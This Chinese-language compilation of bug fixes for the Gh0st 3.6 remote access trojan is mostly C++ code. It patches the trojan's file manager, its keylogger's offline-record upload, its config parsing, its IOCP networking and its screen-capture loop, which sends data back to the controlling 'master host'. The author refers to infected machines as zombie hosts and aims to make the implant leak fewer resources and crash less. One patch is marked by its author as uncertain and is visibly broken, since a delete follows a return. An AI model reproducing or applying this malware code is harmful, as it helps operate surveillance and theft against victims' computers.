Gh0st 3.6 存在的BUG及修改方法(收集整理)
以下贴出代码全部为修改后的
---------------------------------------------------------------------------------------------------------------------------------
1.拖放文件上传和下载时,有选择目标目录的话,可能会使目录重复
修改CFileManagerDlg::SendUploadJob()和CFileManagerDlg::CreateLocalRecvFile()中的代码:
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择,当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();
// 是文件夹
if (!m_hCopyDestFolder.IsEmpty())//修改目录重复的bug
{
strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夹
{
strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改
if (!m_hCopyDestFolder.IsEmpty())
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
// 发出第一个下载任务命令
------------------------------------------------------------------------------------------------------------------------------------
2.选中多个主机,执行断开连接,并不是所有选择的都断开
Ccb1stView::OnDisconnect() 中代码改为
POSITION pos;
for(; pos=m_pListCtrl->GetFirstSelectedItemPosition();)
{
m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
------------------------------------------------------------------------------------------------------------------------------------
3.文件列表不支持点击排序
在FileManagerDlg.h中加上一句:
#define CListCtrl CCJListCtrl
--------------------------------------------------------------------------------------------------------------------------------------
4.内存泄露BUG修改
1)、内存泄漏
如new后没有delete,或其他内存分配函数后没有配对释放,例如:
void SplitLoginInfo(…)中、DWORD GetProcessID(LPCTSTR lpProcessName)中…
另外如用
[Copy to clipboard] [ - ]CODE:
char *lpBuffer = new char[dwSize]
这种形式new,后面应该
[Copy to clipboard] [ - ]CODE:
delete [] lpBuffer;
,如果只是delete lpBuffer应该也会造成泄漏,例如:
int CKeyboardManager::sendOfflineRecord()中…
2)、句柄泄漏
大多是由于没有CloseHandle所致,某些特殊对象有相应的关闭释放函数,虽然问题不大,可看到肉鸡每次接受命令执行,就增加一些句柄或其他资源占用,心里总是不爽。
例如:
[Copy to clipboard] [ - ]CODE:
LPBYTE CSystemManager::getProcessList()中OpenProcess后应该CloseHandle(hProcess);
[Copy to clipboard] [ - ]CODE:
DWORD GetProcessID(LPCTSTR lpProcessName)中最后应该CloseHandle(handle);
…
//新加入减少内存泄露//1
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD
lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
*lppszHost = NULL;
*lppPort = 0;
*lppszProxyHost = NULL;
*lppProxyPort = 0;
*lppszProxyUser = NULL;
*lppszProxyPass = NULL;
bool bIsProxyUsed = false;
bool bIsAuth = false;
UINT nSize = lstrlen(lpDecodeString) + 1;
char *lpString = new char[nSize];
memcpy(lpString, lpDecodeString, nSize);
char *pStart, *pNext, *pEnd;
*lppszHost = lpString;
if ((pStart = strchr(lpString, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsProxyUsed = true;
*pNext = '\0';
}
*lppPort = atoi(pStart + 1);
if (!bIsProxyUsed)
return;
pNext++;
*lppszProxyHost = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsAuth = true;
*pNext = '\0';
}
*lppProxyPort = atoi(pStart + 1);
if (!bIsAuth)
return;
pNext++;
*lppszProxyUser = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
*lppszProxyPass = pStart + 1;
delete [] lpString ;//新加入减少内存泄露
}
//2
int CKeyboardManager::sendOfflineRecord()
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "");
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
dwSize = GetFileSize(hFile, NULL);
char *lpBuffer = new char[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// 解密
for (int i = 0; i < dwSize; i++)
lpBuffer ^= XOR_ENCODE_VALUE;
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete [] lpBuffer; // delete lpBuffer;新修改的代码
}
CloseHandle(hFile);
return nRet;
}
//
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
DWORD dwLength = 0;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
if(Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
// 此进程占用数据大小
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// 缓冲区太小,再重新分配下
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
CloseHandle(hProcess);//新修改
}
while(Process32Next(hSnapshot, &pe32));
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
//
DWORD GetProcessID(LPCTSTR lpProcessName)
{
DWORD RetProcessID = 0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32* info=new PROCESSENTRY32;
info->dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,info))
{
if (strcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
while(Process32Next(handle,info) != FALSE)
{
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
}
}
CloseHandle(handle);//新修改
return RetProcessID;
}
新修改
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024]={0};
try
{
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
strTitle[sizeof(strTitle)-1]=0;
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
{
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwOffset=1;
}else
{
dwOffset = LocalSize(lpBuffer);
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
}
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}catch (...)
{
return true;
}
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
/
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
delete lpConfigString;///新修改代码-----------不确定.
}
}
// 文件名随机
------------------------------------------------------------------------------------------------------------------------------------
5.对话框关闭后未销毁的问题(spy++可以看到)
在CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)中有调用DestroyWindow,只要在OnClose中注释掉m_pContext->m_Dialog[0] = 0;
在工程中搜索m_pContext->m_Dialog[0] = 0;共搜到七处,全部注释掉后,测试时第二次进入文件管理的时候掉图标。不注释的话,又导致spy++可以看到文件管理窗口。欢迎高手提供好的解决办法。
也就是下面代码里的m_pContext->m_Dialog[0] = 0;不能注释,其他六处可以注释。
void CFileManagerDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
------------------------------------------------------------------------------------------------------------------------------------
6.发送数据较快容易出错
pContext->m_hWriteComplete
这明显是个event对象,可是并没有CreateEvent创建,单线程发送接收可能没事,发送数据较快就有问题了(我加代理功能时发现,CreateEvent后发的数据就不乱了)
------------------------------------------------------------------------------------------------------------------------------------
7.Gh0st3.6 IOCP发送BUG作 者: boywhp
时 间: 2014-04-21,22:53:46
链 接: http://bbs.pediy.com/showthread.php?t=186833
测试发现有时客户端会发送重复数据包,感觉作者的IOCP发送处理逻辑不是太清晰,简单修改了下,初步测试没发现异常
话说我很想不通使用了TCP通信的Gh0st里面居然还有处理重发的代码,真是蛋疼啊,懒得删了,万一有个大坑呢?
另外里面频繁的new delete看得我也很不爽啊,不过我忍住了,能不动就不动
1、CIOCPServer::Send
代码: [cpp] view plain copy
- void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
- {
- if (pContext == NULL)
- return;
- try
- {
- CLock cs(pContext->m_SndLock, "Send");
- if (nSize > 0)
- {
- // Compress data
- unsigned long destLen = (double)nSize * 1.001 + 12;
- LPBYTE pDest = new BYTE[destLen];
- int nRet = compress(pDest, &destLen, lpData, nSize);
- if (nRet != Z_OK)
- {
- delete [] pDest;
- return;
- }
- //
- LONG nBufLen = destLen + HDR_SIZE;
- // 5 bytes packet flag
- pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
- // 4 byte header [Size of Entire Packet]
- pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
- // 4 byte header [Size of UnCompress Entire Packet]
- pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
- // Write Data
- pContext->m_WriteBuffer.Write(pDest, destLen);
- delete [] pDest;
- // 如果当前缓冲区无数据堆积,执行PostSend
- if (pContext->m_WriteBuffer.GetBufferLen() == nBufLen)
- PostSend(pContext);
- // 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
- LPBYTE lpResendWriteBuffer = new BYTE[nSize];
- CopyMemory(lpResendWriteBuffer, lpData, nSize);
- pContext->m_ResendWriteBuffer.ClearBuffer();
- pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
- delete [] lpResendWriteBuffer;
- }
- else // 要求重发
- {
- pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
- pContext->m_ResendWriteBuffer.ClearBuffer();
- pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
- }
- //OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
- //PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
- pContext->m_nMsgOut++;
- }catch(...){}
- }
代码: [cpp] view plain copy
- void CIOCPServer::PostSend(ClientContext* pContext)
- {
- OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
- WSABUF sndBuf;
- ULONG ulFlags = MSG_PARTIAL;
- m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);
- sndBuf.buf = (char*) pContext->m_WriteBuffer.GetBuffer();
- sndBuf.len = pContext->m_WriteBuffer.GetBufferLen();
- int nRetVal = WSASend(pContext->m_Socket,
- &sndBuf,
- 1,
- &sndBuf.len,
- ulFlags,
- &pOverlap->m_ol,
- NULL);
- if (nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
- RemoveStaleClient( pContext, FALSE );
- }
3、CIOCPServer::OnClientWriting
代码: [cpp] view plain copy
- bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
- {
- try
- {
- //
- static DWORD nLastTick = GetTickCount();
- static DWORD nBytes = 0;
- nBytes += dwIoSize;
- if (GetTickCount() - nLastTick >= 1000)
- {
- nLastTick = GetTickCount();
- InterlockedExchange((LPLONG)&(m_nSendKbps), nBytes);
- nBytes = 0;
- }
- //
- TRACE("IOCP Send DONE %d bytes Remain:%d bytes\n",
- dwIoSize,
- pContext->m_WriteBuffer.GetBufferLen());
- // Finished writing - tidy up
- if (dwIoSize > 0){
- pContext->m_WriteBuffer.Delete(dwIoSize);
- if (pContext->m_WriteBuffer.GetBufferLen() > 0)
- PostSend(pContext);
- else
- pContext->m_WriteBuffer.ClearBuffer();
- }
- }catch(...){}
- return false; // issue new read after this one
- }
------------------------------------------------------------------------------------------------------------------------------------
8.SetPaneText 的崩溃问题
这个应该属于多线程操作控件的问题,参见MFC不能多线程操作控件的原因 这里面讲解的比较深入了。
关于状态栏StatusBar有几点需要说明:
1)刚刚创建工程 CMainFrame 类里面就有一个 CMFCStatusBar m_wndStatusBar; 状态栏变量定义。在原版工程里面是CStatusBar m_wndStatusBar;
2)在这个类的 OnCreate 函数里面调用 m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH , 300); 设置每个状态栏分割宽度,后面两个参数 SBPS_STRETCH 表示 剩余的宽度都算在这个分割里面,300表示最小宽度,MSDN文档。
3)关于 CMFCStatusBar 使用方法可见 鸡啄米专栏 VS2010/MFC编程入门之三十八(状态栏的使用详解) 。
4)gh0st里面是这样使用 m_wndStatusBar 的:
void CIOCPServer::OnAccept() { m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); } void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode) { g_pFrame->m_wndStatusBar.SetPaneText(1, str); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
当异常的时候调用栈如下:
跟踪到异常位置来到系统代码:
// should also be in the permanent or temporary handle map CHandleMap* pMap = afxMapHWND(); ASSERT(pMap != NULL); CObject* p=NULL; if(pMap) { ASSERT( (p = pMap->LookupPermanent(m_hWnd)) != NULL || (p = pMap->LookupTemporary(m_hWnd)) != NULL); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
总之一句话,这个 SetPaneText 是从其它线程 ListenThreadProc 调用过来的,如果要正常使用可以修改为如下方式 :
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode) { g_pFrame->PostMessageA(UpdatePane); }- 1
- 2
- 3
- 4
g_pFrame 是一个 CMainFrame 类型指针,在CMainFrame 类里面加入一个消息处理过程:
ON_MESSAGE(UpdatePane, &CMainFrame::OnUpdatepane) afx_msg LRESULT CMainFrame::OnUpdatepane(WPARAM wParam, LPARAM lParam) { m_wndStatusBar.SetPaneText(1, "test"); return 0; }- 1
- 2
- 3
- 4
- 5
- 6
在 ListenThreadProc 向 CMainFrame 类发送一个消息 PostMessage(UpdatePane),然后在 CMainFrame 类里面处理这个消息,至此问题完美解决。
参考:
MFC中从一个类向其他类发送消息的方法
------------------------------------------------------------------------------------------------------------------------------------
9.WSAIoctl 参数类型导致栈异常
以前gh0st代码如下:
const char chOpt = 1; WSAIoctl ( pContext->m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), NULL, 0, (unsigned long *)&chOpt, 0, NULL );- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
WSAIoctl 原型声明如下:
int WSAAPI WSAIoctl( __in SOCKET s, __in DWORD dwIoControlCode, __in_bcount_opt(cbInBuffer) LPVOID lpvInBuffer, __in DWORD cbInBuffer, __out_bcount_part_opt(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer, __in DWORD cbOutBuffer, __out LPDWORD lpcbBytesReturned, __inout_opt LPWSAOVERLAPPED lpOverlapped, __in_opt LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine );- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
倒数第三个参数应当是 LPDWORD 类型,而且是输出,传入的仅仅是char类型,虽然因为对齐 char 也分配了4字节,不会导致栈覆盖,但是在debug模式下系统加入了严苛的栈检测机制:虽然分配了四字节,因为是char类型,所以剩余的三字节是不应该修改的,在release下就没有这问题。
修改为 LONG 类型即可解决问题:
unsigned long chOpt; *((char *)&chOpt) = 1;- 1
- 2
------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------
10.CIniFile 构造函数导致异常系统自动定义的一个对象
// 唯一的一个 ChostApp 对象 ChostApp theApp;- 1
- 2
这个构造函数应该是在最早执行的,在 ChostApp 里面有一个成员
CIniFile m_IniFile;- 1
所以要首先调用 CIniFile 的构造函数
CIniFile::CIniFile(void) { char szAppName[MAX_PATH]; int len; HINSTANCE hinst; //hinst = AfxGetInstanceHandle(); ::GetModuleFileName(GetModuleHandle(NULL), szAppName, sizeof(szAppName)); len = strlen(szAppName); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
因为 AfxGetInstanceHandle() 调用导致异常。
具体可见CSDN论坛讨论。
---------------------------------------------------------------------------------------------------------------------------------
11.栈上对象多线程,析构函数导致程序崩溃
打开主控端。开启被控端, 此时主控端显示上线。
在server端点击桌面管理可以正常显示被控端桌面,然后关闭远程桌面,此时被控端出现一个错误:
TestDll.exe 中的 0x5950cc6f (server.dll) 处有未经处理的异常: 0xC0000005: 读取位置 0x02ecfca4 时发生访问冲突
nRet = m_pClient->Send((LPBYTE)lpData, nSize); 5950CC64 mov eax,dword ptr [ebp+0Ch] 5950CC67 push eax 5950CC68 mov ecx,dword ptr [ebp+8] 5950CC6B push ecx 5950CC6C mov edx,dword ptr [ebp-18h] 5950CC6F mov ecx,dword ptr [edx+4] - 1
- 2
- 3
- 4
- 5
- 6
- 7
此时执行到的指令位置是 5950CC6F
对应的源代码是
int CManager::Send(LPBYTE lpData, UINT nSize) { int nRet = 0; try { nRet = m_pClient->Send((LPBYTE)lpData, nSize); }catch(...){}; return nRet; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
寄存器edx的数值是 edx 0x02ecfca0 unsigned long
奇怪的是在关闭远程桌面以前这个函数执行了很多次,都没有出现这个问题。现在在关闭远程桌面之后就这样。通过对比发现 出现访问异常的内存 在关闭远程桌面之后数值出现了变化。
可以在关闭远程桌面之后 vs2010下内存访问断点,edx + 4 的位置
调试 -> 新建断点 -> 新建内存断点- 1
此时按F5发现中断在manager类的析构函数里面:
CManager::~CManager() { CloseHandle(m_hEventDlgOpen); }- 1
- 2
- 3
- 4
再看堆栈窗口 是从 Loop_ScreenManager 函数结尾调用而来的:
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote) { CClientSocket socketClient; if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort)) return -1; CScreenManager manager(&socketClient); socketClient.run_event_loop(); return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
这样就大概分析出执行流程:
在上面函数中定义了一个CScreenManager类的对象manager,这个对象在栈中。CScreenManager基类是 CManager
当在主控端把远程桌面关闭之后run_event_loop 会返回,这样这个函数也就返回了,对象manager也就开始调用自己的析构函数,以前能访问的现在也就不能访问了。 所以就会出现上面的问题。
其实在运行的时候CScreenManager类的构造函数中创建了2个线程ControlThread ,WorkThread,当正常运行没有调试器中断的时候当函数 Loop_ScreenManager 执行完之后ControlThread 这个线程还未完全退出,不知道这样会产生什么意外后果??
经过试验在 函数 Loop_ScreenManager结束之前加入 sleep(20) 可以解决这个问题。
------------------------------------------------------------------------------------------------------------------------------------
未完待续。。。
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
